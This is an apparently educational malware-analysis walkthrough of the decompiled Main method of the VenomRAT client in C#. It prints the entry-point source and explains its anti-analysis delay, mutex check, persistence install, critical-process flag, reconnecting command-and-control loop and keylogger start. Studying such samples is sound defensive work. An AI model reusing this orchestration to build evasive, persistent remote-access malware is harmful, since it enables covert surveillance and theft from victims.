Remote Access Trojan

VenomRAT - ClientAny.exe

Author: Moise Medici
Updated: 15 Nov 2025 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Persistence Mechanisms Command Execution via Powershell Cmd Bash Data-Exfiltration
Tags: C#VenomRAT

`Client` > `Program`

The full code is:

1
using System;
2
using System.Diagnostics;
3
using System.IO;
4
using System.Net;
5
using System.Threading;
6
using System.Windows.Forms;
7
using Client.Connection;
8
using Client.Helper;
9
using Client.Install;
10

11
namespace Client
12
{
13
  public class Program
14
  {
15
    public static void Main()
16
    {
17
      Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));
18
      Keylogger.Params.LoadFromFile();
19
      ServicePointManager.Expect100Continue = true;
20
      ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
21
      ServicePointManager.DefaultConnectionLimit = 9999;
22
      for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
23
      {
24
        Thread.Sleep(1000);
25
      }
26
      if (!Settings.InitializeSettings())
27
      {
28
        Environment.Exit(0);
29
      }
30
      SetRegistry.InitRegistry();
31
      try
32
      {
33
        if (Convert.ToBoolean(Settings.An_ti))
34
        {
35
          Anti_Analysis.RunAntiAnalysis();
36
        }
37
      }
38
      catch
39
      {
40
      }
41
      A.B();
42
      try
43
      {
44
        if (!MutexControl.CreateMutex())
45
        {
46
          Environment.Exit(0);
47
        }
48
      }
49
      catch
50
      {
51
      }
52
      try
53
      {
54
        if (Convert.ToBoolean(Settings.Anti_Process))
55
        {
56
          AntiProcess.StartBlock();
57
        }
58
      }
59
      catch
60
      {
61
      }
62
      try
63
      {
64
        if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
65
        {
66
          ProcessCritical.Set();
67
        }
68
      }
69
      catch
70
      {
71
      }
72
      try
73
      {
74
        if (Convert.ToBoolean(Settings.In_stall))
75
        {
76
          NormalStartup.Install();
77
        }
78
      }
79
      catch
80
      {
81
      }
82
      Methods.PreventSleep();
83
      try
84
      {
85
        if (Methods.IsAdmin())
86
        {
87
          Methods.ClearSetting();
88
        }
89
      }
90
      catch
91
      {
92
      }
93
      new Thread(delegate
94
      {
95
        for (;;)
96
        {
97
          try
98
          {
99
            if (!ClientSocket.IsConnected)
100
            {
101
              Program.StopHVNC();
102
              ClientSocket.Reconnect();
103
              ClientSocket.InitializeClient();
104
            }
105
          }
106
          catch
107
          {
108
          }
109
          Thread.Sleep(3000);
110
        }
111
      }).Start();
112
      Keylogger.Run();
113
      Application.Run();
114
    }
115

116
    public static void StopHVNC()
117
    {
118
      foreach (Process process in Process.GetProcessesByName("cvtres"))
119
      {
120
        process.Kill();
121
        process.WaitForExit();
122
        process.Dispose();
123
      }
124
    }
125
  }
126
}

Starting from the imports, there are System and Client imports. The System imports are from the C# standard library and are built-in in the language, while the Client imports are classes defined in other parts of the sample.

The Main method starts by creating the %AppData%/Roaming/MyData directory:

17
Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));

This is followed by a very interesting call, which seems to imply that all keylogging functionality is controlled by a settings file. This is definitely something to look into more next, to see what can be configured and how.

18
Keylogger.Params.LoadFromFile();

Moving on, there are a couple of lines of connection configuration, probably to determine how to communicate with the exfiltration server.

Then a delay is executed, potentially to throw off an analyst. The trick here is to wait for a certain amount of minutes, and in certain cases an analyst might be closing the analysis tools, like Procmon, before the delay elapses. The way that it is implemented here is by taking a Settings.De_lay value, converting it to a number and multiplying it by 1000 milliseconds. This is the time the program will sleep for before continuing:

22
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
23
{
24
    Thread.Sleep(1000);
25
}

Next, there is another very informative set of instructions. The if statement is telling us that if the settings are not initialized properly, the execution terminates. This is the third time that the settings are retrieved, and they are essential for the execution to continue, suggesting that Client.Settings should be analyzed as the next step.

26
if (!Settings.InitializeSettings())
27
{
28
    Environment.Exit(0);
29
}

Some registries are defined at line 30, although it is not yet clear which ones.

30
SetRegistry.InitRegistry();

Jumping slightly ahead for a moment, at line 41 there is the call:

41
A.B();

In dnSpy, hovering over A shows that it comes from Client.Helpers. This method name in itself does not reveal much, so it can be skipped for now.

This is followed by a mutex check to see if the client has been infected already. If yes, the execution is terminated. See Mutex for more details.

44
if (!MutexControl.CreateMutex())
45
{
46
    Environment.Exit(0);
47
}

Lines 35 and 56 are both checks to see if the process is being analyzed in any way. Note that these blocks and the ones below all have an empty catch statement. This means that the malware tries to perform these checks but if it fails for any reason (maybe a bug in the code or some weirdness in the client), it keeps going with the infection without any notification to the user with error messages or pop-ups.

31
try
32
{
33
    if (Convert.ToBoolean(Settings.An_ti))
34
    {
35
        Anti_Analysis.RunAntiAnalysis();
36
    }
37
}
38
catch
39
{
40
}
13 collapsed lines
41
A.B();
42
try
43
{
44
    if (!MutexControl.CreateMutex())
45
    {
46
        Environment.Exit(0);
47
    }
48
}
49
catch
50
{
51
}
52
try
53
{
54
    if (Convert.ToBoolean(Settings.Anti_Process))
55
    {
56
        AntiProcess.StartBlock();
57
    }
58
}

After these, the following code is executed:

64
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
65
{
66
    ProcessCritical.Set();
67
}

It is not entirely clear what this means at the moment; ProcessCritical comes from Client.Helpers but is not very explicit in what it is about. It can be revisited later.

Once all the checks and safeguards are passed, the installation is performed:

74
if (Convert.ToBoolean(Settings.In_stall))
75
{
76
    NormalStartup.Install();
77
}

The installation will probably be the next class to look at after the settings, as it is likely the core of the persistence mechanisms.

Moving on, there are two interesting calls. The first one might somehow block the client from going to sleep, probably to continue the exfiltration without interruptions, and the second will clear some settings if the user is admin, though it is not yet known which settings.

82
Methods.PreventSleep();
83
try
84
{
85
    if (Methods.IsAdmin())
86
    {
87
        Methods.ClearSetting();
88
    }
89
}

Note that there is a new thread being spawned, which loops forever, sleeping 3000 milliseconds between each iteration and trying to connect to a connection defined in Client.Connection. The loop also performs the StopHVNC call, which stops the HVNC component, generally used for remote control of the machine (see reference 1 for more info on this technique). However, it is not immediately obvious where the remote connection points to or where it is enabled.

93
new Thread(delegate
94
{
95
    for (;;)
96
    {
97
        try
98
        {
99
            if (!ClientSocket.IsConnected)
100
            {
101
                Program.StopHVNC();
102
                ClientSocket.Reconnect();
103
                ClientSocket.InitializeClient();
104
            }
105
        }
106
        catch
107
        {
108
        }
109
        Thread.Sleep(3000);
110
    }
111
}).Start();

At this point, the infection is complete and the client can start running the keylogger module and the Application, whose purpose is not yet known.

112
Keylogger.Run();
113
Application.Run();

VenomRAT - ClientAny.exe

Client > Program

`Client` > `Program`